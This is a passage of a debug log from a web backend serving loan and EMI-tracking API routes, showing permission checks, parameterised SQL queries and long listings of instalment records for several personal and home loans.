    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:49.482Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-04-21T16:44:56.827Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:44:56.827Z server-connect:app Executing action step identify
2026-04-21T16:44:56.827Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:56.827Z server-connect:output identity: 1
2026-04-21T16:44:56.827Z server-connect:app Executing action step restrict
2026-04-21T16:44:56.827Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:56.828Z server-connect:output restrict: undefined
2026-04-21T16:44:56.828Z server-connect:app Executing action step update
2026-04-21T16:44:56.828Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:44:56.829Z server-connect:output update: { affected: 1 }
2026-04-21T16:44:57.037Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:44:57.038Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:57.038Z server-connect:app Executing action step identify
2026-04-21T16:44:57.038Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:57.038Z server-connect:output identity: 1
2026-04-21T16:44:57.038Z server-connect:app Executing action step restrict
2026-04-21T16:44:57.038Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:57.039Z server-connect:app Executing action step identify
2026-04-21T16:44:57.039Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:57.039Z server-connect:output identity: 1
2026-04-21T16:44:57.039Z server-connect:app Executing action step restrict
2026-04-21T16:44:57.039Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:57.039Z server-connect:output restrict: undefined
2026-04-21T16:44:57.039Z server-connect:app Executing action step custom
2026-04-21T16:44:57.039Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:44:57.040Z server-connect:output restrict: undefined
2026-04-21T16:44:57.040Z server-connect:app Executing action step select
2026-04-21T16:44:57.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:57.041Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:44:57.043Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-04-21T16:45:01.065Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:01.065Z server-connect:app Executing action step identify
2026-04-21T16:45:01.065Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:01.065Z server-connect:output identity: 1
2026-04-21T16:45:01.065Z server-connect:app Executing action step restrict
2026-04-21T16:45:01.065Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:01.066Z server-connect:output restrict: undefined
2026-04-21T16:45:01.066Z server-connect:app Executing action step select
2026-04-21T16:45:01.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:01.067Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
